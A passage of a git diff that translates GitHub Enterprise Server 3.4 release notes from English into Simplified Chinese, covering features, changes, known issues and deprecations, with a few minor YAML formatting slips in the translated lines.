支持的补充;操作可以继续指定 `runs.using: node12` 使用 Node.js 12 运行时。' # https://github.com/github/releases/issues/1799 - - 'For manually triggered workflows, {% data variables.product.prodname_actions %} now supports the `choice`, `boolean`, and `environment` input types in addition to the default `string` type. For more information, see "[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)."' + - '对于手动触发的工作流,除了默认的 `string` 类型外,{% data variables.product.prodname_actions %} 现在还支持 `choice`、`boolean` 和 `environment` 输入类型。有关详细信息,请参阅“[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)”。' # https://github.com/github/releases/issues/1782 - - Actions written in YAML, also known as composite actions, now support `if` conditionals. This lets you prevent specific steps from executing unless a condition has been met. Like steps defined in workflows, you can use any supported context and expression to create a conditional. + - 用 YAML 编写的操作(也称为复合操作)现支持 `if` 条件。这使你可以阻止执行特定步骤,除非满足条件。与工作流中定义的步骤一样,你可以使用任何受支持的上下文和表达式来创建条件。 # https://github.com/github/releases/issues/1919 - - The search order behavior for self-hosted runners has now changed, so that the first available matching runner at any level will run the job in all cases. This allows jobs to be sent to self-hosted runners much faster, especially for organizations and enterprises with lots of self-hosted runners. Previously, when running a job that required a self-hosted runner, {% data variables.product.prodname_actions %} would look for self-hosted runners in the repository, organization, and enterprise, in that order. + - "自承载运行器的搜索顺序行为现已更改,因此任何级别的第一个可用匹配运行器都将在所有情况下运行作业。这样可以更快地将作业发送给自承载运行器,特别是对于具有大量自承载运行器的组织和企业。以前,在运行需要自承载运行器的作业时,{% data variables.product.prodname_actions %} 将按该顺序在存储库、组织和企业中查找自承载运行器。" # https://github.com/github/releases/issues/1753 - - Runner labels for {% data variables.product.prodname_actions %} self-hosted runners can now be listed, added and removed using the REST API. For more information about using the new APIs at a repository, organization, or enterprise level, see "[Repositories](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)", "[Organizations](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)", and "[Enterprises](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)" in the REST API documentation. + - "现可使用 REST API 列出、添加和移除 {% data variables.product.prodname_actions %} 自承载运行器的运行器标签。若要详细了解如何在存储库、组织或企业级别使用新 API,请参阅 REST API 文档中的“[存储库](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)”、“[组织](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)”和“[企业](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)”。" - - heading: 'Dependabot and Dependency graph changes' + - heading: 'Dependabot 和依赖项关系图更改' notes: # https://github.com/github/releases/issues/1520 - - Dependency graph now supports detecting Python dependencies in repositories that use the Poetry package manager. Dependencies will be detected from both `pyproject.toml` and `poetry.lock` manifest files. + - 依赖项关系图现支持在使用 Poetry 包管理器的存储库中检测 Python 依赖项。将从 `pyproject.toml` 和 `poetry.lock` 清单文件中检测依赖项。 # https://github.com/github/releases/issues/1921 - - When configuring {% data variables.product.prodname_dependabot %} security and version updates on GitHub Enterprise Server, we recommend you also enable {% data variables.product.prodname_dependabot %} in {% data variables.product.prodname_github_connect %}. This will allow {% data variables.product.prodname_dependabot %} to retrieve an updated list of dependencies and vulnerabilities from {% data variables.product.prodname_dotcom_the_website %}, by querying for information such as the changelogs of the public releases of open source code that you depend upon. For more information, see "[Enabling the dependency graph and Dependabot alerts for your enterprise](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)." + - "在 GitHub Enterprise Server 上配置 {% data variables.product.prodname_dependabot %} 安全性和版本更新时,还建议在 {% data variables.product.prodname_github_connect %} 中启用 {% data variables.product.prodname_dependabot %}。这样,{% data variables.product.prodname_dependabot %} 便可通过查询你依赖的开放源代码公开版本的变更日志等信息,从 {% data variables.product.prodname_dotcom_the_website %} 检索更新的依赖项和漏洞列表。有关详细信息,请参阅“[为企业启用依赖项关系图和 Dependabot 警报](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)”。" # https://github.com/github/releases/issues/1717 - - '{% data variables.product.prodname_dependabot_alerts %} alerts can now be dismissed using the GraphQL API. For more information, see the "[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)" mutation in the GraphQL API documentation.' + - '现可使用 GraphQL API 消除 {% data variables.product.prodname_dependabot_alerts %} 警报。有关详细信息,请参阅 GraphQL API 文档中的“[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)”变更。' - - heading: 'Code scanning and secret scanning changes' + - heading: '代码扫描和机密扫描更改' notes: # https://github.com/github/releases/issues/1802 - - The {% data variables.product.prodname_codeql %} CLI now supports including markdown-rendered query help in SARIF files, so that the help text can be viewed in the {% data variables.product.prodname_code_scanning %} UI when the query generates an alert. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)." + - "{% data variables.product.prodname_codeql %} CLI 现支持在 SARIF 文件中包括 Markdown 呈现的查询帮助,以便在查询生成警报时,可以在 {% data variables.product.prodname_code_scanning %} UI 中查看帮助文本。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)”。" # https://github.com/github/releases/issues/1790 - - The {% data variables.product.prodname_codeql %} CLI and {% data variables.product.prodname_vscode %} extension now support building databases and analyzing code on machines powered by Apple Silicon, such as Apple M1. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)." + - "{% data variables.product.prodname_codeql %} CLI 和 {% data variables.product.prodname_vscode %} 扩展现支持在由 Apple Silicon 提供支持的计算机(如 Apple M1)上构建数据库和分析代码。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)”。" # https://github.com/github/releases/issues/1732 - - | - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) from the Python ecosystem. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)." + - |通过添加对 Python 生态系统中更多[库和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)的支持,{% data variables.product.prodname_codeql %} 的分析深度得到了改进。因此,{% data variables.product.prodname_codeql %} 现可检测更多不受信任的用户数据的潜在来源、数据流经的步骤以及数据可能最终到达的潜在危险接收器。这使得 {% data variables.product.prodname_code_scanning %} 警报的质量得到了全面的提高。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)”。 +| # https://github.com/github/releases/issues/1567 - - Code scanning with {% data variables.product.prodname_codeql %} now includes beta support for analyzing code in all common Ruby versions, up to and including 3.02. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)." + - "{% data variables.product.prodname_codeql %} 代码扫描现支持对所有常见的 Ruby 3.02 及以下版本中的代码进行分析(Beta 版本)。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)”。" # https://github.com/github/releases/issues/1764 - - | - Several improvements have been made to the {% data variables.product.prodname_code_scanning %} API: + - |对 {% data variables.product.prodname_code_scanning %} API 进行了多项改进: - * The `fixed_at` timestamp has been added to alerts. This timestamp is the first time that the alert was not detected in an analysis. - * Alert results can now be sorted using `sort` and `direction` on either `created`, `updated` or `number`. For more information, see "[List code scanning alerts for a repository](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)." - * A `Last-Modified` header has been added to the alerts and alert endpoint response. For more information, see [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified) in the Mozilla documentation. - * The `relatedLocations` field has been added to the SARIF response when you request a code scanning analysis. The field may contain locations which are not the primary location of the alert. See an example in the [SARIF spec](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616) and for more information see "[Get a code scanning analysis for a repository](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)." - * Both `help` and `tags` data have been added to the webhook response alert rule object. For more information, see "[Code scanning alert webhooks events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)." - * Personal access tokens with the `public_repo` scope now have write access for code scanning endpoints on public repos, if the user has permission. - For more information, see "[Code scanning](/rest/reference/code-scanning)" in the REST API documentation. +* `fixed_at` 时间戳已添加到警报中。此时间戳是首次在分析中未检测到警报的时间。 + +* 现可使用 `created`、`updated` 或 `number` 上的 `sort` 和 `direction` 对警报结果进行排序。有关详细信息,请参阅“[列出存储库的代码扫描警报](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)”。 + +* `Last-Modified` 标头已添加到警报和警报终结点响应中。有关详细信息,请参阅 Mozilla 文档中的 [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified)。 + +* 请求代码扫描分析时,`relatedLocations` 字段已添加到 SARIF 响应中。该字段可能包含不是警报主要位置的位置。请参阅 [SARIF 规范](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616)中的示例,有关详细信息,请参阅“[获取存储库的代码扫描分析](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)”。 + +* `help` 和 `tags` 数据均已添加到 Webhook 响应警报规则对象中。有关详细信息,请参阅“[代码扫描警报 Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)”。 + +* 如果用户具有权限,则具有 `public_repo` 范围的个人访问令牌现在对公共存储库上的代码扫描终结点具有写入权限。 + + + +有关详细信息,请参阅 REST API 文档中的“[代码扫描](/rest/reference/code-scanning)”。 + +| # https://github.com/github/releases/issues/1943 - - '{% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve private repository secret scanning results at the enterprise level. The new endpoint supplements the existing repository-level and organization-level endpoints. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.' + - '{% data variables.product.prodname_GH_advanced_security %} 客户现可使用 REST API 在企业级别检索专用存储库机密扫描结果。新终结点是对现有存储库级别和组织级别终结点的补充。有关详细信息,请参阅 REST API 文档中的“[机密扫描](/rest/reference/secret-scanning)”。' # No security/bug fixes for the RC release # security_fixes: @@ -227,60 +239,66 @@ sections: # - PLACEHOLDER known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - Actions services needs to be restarted after restoring appliance from backup taken on a different host. + - "在没有任何用户的新建 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被移除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表在元数据响应中不再返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 + - 从不同主机上的备份恢复设备后,需要重启 Actions 服务。 deprecations: - - heading: Deprecation of GitHub Enterprise Server 3.0 + - heading: 弃用 GitHub Enterprise Server 3.0 notes: - - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' - - heading: Deprecation of GitHub Enterprise Server 3.1 + - '**{% data variables.product.prodname_ghe_server %} 3.0 已于 2022 年 2 月 16 日停用**。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 3.1 notes: - - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - '**{% data variables.product.prodname_ghe_server %} 3.1 将于 2022 年 6 月 3 日停用**。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' - - heading: Deprecation of XenServer Hypervisor support + - heading: XenServer Hypervisor 支持终止 notes: # https://github.com/github/docs-content/issues/4439 - - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + - "从 {% data variables.product.prodname_ghe_server %} 3.3 开始,XenServer 上的 {% data variables.product.prodname_ghe_server %} 已弃用且不再受支持。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com)。" - - heading: Deprecation of the Content Attachments API preview + - heading: 弃用内容附件 API 预览版 notes: # - - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + - "由于使用率低,我们已在 {% data variables.product.prodname_ghe_server %} 3.4 中弃用了内容引用 API 预览版。该 API 以前可以过“corsair-preview”标头访问。用户可以在没有此 API 的情况下继续导航到外部 URL。针对内容引用 API 的任何注册使用,将不再收到来自注册域的 URL Webhook 通知,并且在尝试更新现有内容附件时,我们不再返回有效的响应代码。" - - heading: Deprecation of the Codes of Conduct API preview + - heading: 弃用行为准则 API 预览版 notes: # https://github.com/github/releases/issues/1708 - - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + - '可通过 `scarlet-witch-preview` 标头访问的行为准则 API 预览版已弃用,并且在 {% data variables.product.prodname_ghe_server %} 3.4 中已无法访问。建议使用“[获取社区配置文件指标](/rest/reference/repos#get-community-profile-metrics)”终结点来检索有关存储库行为准则的信息。有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} changelog 中的“[弃用通知:行为准则 API 预览版](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)”。' - - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + - heading: 弃用 OAuth 应用程序 API 终结点和使用查询参数的 API 身份验证 notes: # https://github.com/github/releases/issues/1316 - - | - Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + - |从 {% data variables.product.prodname_ghe_server %} 3.4 开始,[OAuth 应用程序 API 终结点的弃用版本](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected)已被移除。如果在这些终结点上遇到 404 错误消息,请将代码转换为 URL 中没有 `access_tokens` 的 OAuth 应用程序 API 版本。我们还禁用了使用查询参数的 API 身份验证。建议使用[请求标头中的 API 身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)。 - - heading: Deprecation of the CodeQL runner +| + - heading: 弃用 CodeQL 运行器 notes: # https://github.com/github/releases/issues/1632 - - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + - "{% data variables.product.prodname_codeql %} 运行器在 {% data variables.product.prodname_ghe_server %} 3.4 中已弃用且不再受支持。弃用仅影响在第三方 CI/CD 系统中使用 {% data variables.product.prodname_codeql %} 代码扫描的用户;{% data variables.product.prodname_actions %} 用户不受影响。强烈建议客户迁移到 {% data variables.product.prodname_codeql %} CLI,它是 {% data variables.product.prodname_codeql %} 运行器的功能完整的替代项。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/)。" - - heading: Deprecation of custom bit-cache extensions + - heading: 弃用自定义位缓存扩展 notes: # https://github.com/github/releases/issues/1415 - - | - Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + - |从 {% data variables.product.prodname_ghe_server %} 3.1 开始,开始逐步淘汰对 {% data variables.product.company_short %} 的专有位缓存扩展的支持。从 {% data variables.product.prodname_ghe_server %} 3.3 开始,这些扩展已被弃用。 - Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. - Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. - To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. +运行版本 3.1 或 3.2 的 {% data variables.product.product_location %} 上已经存在并处于活动状态的任何存储库都将自动更新。 + + +存储库维护任务运行并成功完成后,在升级到 {% data variables.product.prodname_ghe_server %} 3.3 之前不存在且处于活动状态的存储库才能够以最佳方式执行。 + + + +若要手动启动存储库维护任务,请浏览到 `https:///stafftools/repositories///network` 查看每个受影响的存储库,然后单击“计划”按钮。 + +| backups: - - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' + - '{% data variables.product.prodname_ghe_server %} 3.4 至少需要 [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/0.yml index c98d49681b..b4f99747ff 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/0.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/0.yml @@ -1,237 +1,244 @@ date: '2022-03-15' intro: | - - For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." - - > This release is dedicated to our colleague and friend John, a Hubber who was always there to help. You will be greatly missed. + + 有关升级说明,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 + + > 此版本献给我们的同事兼朋友 John,一位一直在帮助我们的 Hubber。我们非常想念你。 > - > **John "Ralph" Wiebalk 1986–2021** - + > John "Ralph" Wiebalk 1986–2021**** sections: features: - - heading: Secret scanning REST API now returns locations + - heading: 机密扫描 REST API 现在会返回位置 notes: # https://github.com/github/releases/issues/1642 - - | - {% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve commit details of secrets detected in private repository scans. The new endpoint returns details of a secret's first detection within a file, including the secret's location and commit SHA. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation. + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可使用 REST API 检索在专用存储库扫描中检测到的机密的提交详细信息。新终结点返回文件中首次检测到机密的详细信息,包括机密的位置和提交 SHA。有关详细信息,请参阅 REST API 文档中的“[机密扫描](/rest/reference/secret-scanning)”。 - - heading: Export license data of committer-based billing for GitHub Advanced Security +| + - heading: 导出 GitHub Advanced Security 计费(基于提交者)许可证数据 notes: # https://github.com/github/releases/issues/1757 - - | - Enterprise and organization owners can now export their {% data variables.product.prodname_GH_advanced_security %} license usage data to a CSV file. The {% data variables.product.prodname_advanced_security %} billing data can also be retrieved via billing endpoints in the REST API. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)." + - |企业和组织所有者现可将其 {% data variables.product.prodname_GH_advanced_security %} 许可证使用情况数据导出到 CSV 文件。还可通过 REST API 中的计费终结点检索 {% data variables.product.prodname_advanced_security %} 计费数据。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)”。 - - heading: GitHub Actions reusable workflows in public beta +| + - heading: GitHub Actions 可重用工作流(公共 beta 版本) notes: # https://github.com/github/releases/issues/1541 - - | - You can now reuse entire workflows as if they were an action. This feature is available in public beta. Instead of copying and pasting workflow definitions across repositories, you can now reference an existing workflow with a single line of configuration. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)." + - |现可重用整个工作流,就像它们是一个操作一样。此功能目前以公共 beta 版本提供。现可使用一行配置来引用现有工作流,而不必跨存储库复制和粘贴工作流定义。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)”。 - - heading: Dependabot security and version updates in public beta +| + - heading: Dependabot 安全性和版本更新(公共 beta 版本) notes: # https://github.com/github/releases/issues/2004 - - | - {% data variables.product.prodname_dependabot %} is now available in {% data variables.product.prodname_ghe_server %} 3.4 as a public beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_dependabot %} to be enabled by an administrator. Beta feedback and suggestions can be shared in the [{% data variables.product.prodname_dependabot %} Feedback GitHub discussion](https://github.com/community/community/discussions/categories/dependabot). For more information and to try the beta, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." + - |{% data variables.product.prodname_dependabot %} 现已在 {% data variables.product.prodname_ghe_server %} 3.4 中作为公共 beta 版本提供,并为多个常见的生态系统提供版本更新和安全更新。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 需要配置 {% data variables.product.prodname_actions %} 和自承载运行器池,供 {% data variables.product.prodname_dependabot %} 使用。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 还需要管理员启用 {% data variables.product.prodname_github_connect %} 和 {% data variables.product.prodname_dependabot %}。beta 版本的反馈和建议可以在 [{% data variables.product.prodname_dependabot %} 反馈 GitHub 讨论](https://github.com/community/community/discussions/categories/dependabot)中共享。如需了解详细信息并试用 beta 版本,请参阅“[在企业中设置 {% data variables.product.prodname_dependabot %} 安全性和版本更新](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)”。 - - heading: SAML authentication supports encrypted assertions +| + - heading: SAML 身份验证支持加密的断言 notes: # https://github.com/github/releases/issues/1946 - - | - If you use SAML authentication for {% data variables.product.prodname_ghe_server %}, you can now configure encrypted assertions from your IdP to improve security. Encrypted assertions add an additional layer of encryption when your IdP transmits information to {% data variables.location.product_location %}. For more information, see "[Using SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)." - - - heading: Edit files within pull requests in GitHub Mobile for iOS - notes: - # https://github.com/github/releases/issues/2514 - - | - In GitHub Mobile for iOS 1.80.0 and later, users can now edit files within a pull request's topic branch. Support for editing files will come to GitHub Mobile for Android in a future release. [Updated: 2022-09-13] + - |如果你对 {% data variables.product.prodname_ghe_server %} 使用 SAML 身份验证,现在可以从你的 IdP 配置加密断言,以提高安全性。当 IdP 将信息传输到 {% data variables.product.product_location %} 时,加密断言将添加额外的加密层。有关详细信息,请参阅“[使用 SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)”。 +| changes: - - heading: Administration Changes + - heading: 管理更改 notes: # https://github.com/github/releases/issues/1657 - - Users can now choose the number of spaces a tab is equal to, by setting their preferred tab size in the "Appearance" settings of their user account. All code with a tab indent will render using the preferred tab size. + - 用户现可选择一个制表符等于的空格数,方法是在其用户帐户的“外观”设置中设置其首选制表符大小。所有带制表符缩进的代码都将使用首选制表符大小呈现。 # https://github.com/github/releases/issues/2062 - - The {% data variables.product.prodname_github_connect %} data connection record now includes a count of the number of active and dormant users and the configured dormancy period. + - "{% data variables.product.prodname_github_connect %} 数据连接记录现在包括活动和休眠用户数量计数以及配置的休眠期。" # https://github.com/github/releases/issues/1722 - - You can now give users access to enterprise-specific links by adding custom footers to {% data variables.product.prodname_ghe_server %}. For more information, see "[Configuring custom footers](/admin/configuration/configuring-your-enterprise/configuring-custom-footers)." + - "通过向 {% data variables.product.prodname_ghe_server %} 添加自定义页脚,用户现在可以方便地访问企业特定的链接。有关详细信息,请参阅“[配置自定义页脚](/admin/configuration/configuring-your-enterprise/configuring-custom-footers)”。" - - heading: Performance Changes + - heading: 性能更改 notes: # https://github.com/github/releases/issues/2031 - - WireGuard, used to secure communication between {% data variables.product.prodname_ghe_server %} instances in a High Availability configuration, has been migrated to the Kernel implementation. + - "用于保护高可用性配置中 {% data variables.product.prodname_ghe_server %} 实例之间通信的 WireGuard 已迁移到内核实现。" - - heading: Notification Changes + - heading: 通知更改 notes: # https://github.com/github/releases/issues/1801 - - Organization owners can now unsubscribe from email notifications when new deploy keys are added to repositories belonging to their organizations. For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)." + - "组织所有者现可在将新的部署密钥添加到属于其组织的存储库时取消订阅电子邮件通知。有关详细信息,请参阅“[配置通知](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)”。" # https://github.com/github/releases/issues/1714 - - 'Notification emails from newly created issues and pull requests now include `(Issue #xx)` or `(PR #xx)` in the email subject, so you can recognize and filter emails that reference these types of issues.' + - '来自新创建的问题和拉取请求的通知电子邮件目前在电子邮件主题中包含 `(Issue #xx)` 或 `(PR #xx)`,因此你可以识别和筛选引用这些问题类型的电子邮件。' - - heading: Organization Changes + - heading: 组织更改 notes: # https://github.com/github/releases/issues/1509 - - Organizations can now display a `README.md` file on their profile Overview. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)." + - "组织现可在其配置文件概述中显示 `README.md` 文件。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)”。" # https://github.com/github/releases/issues/1883 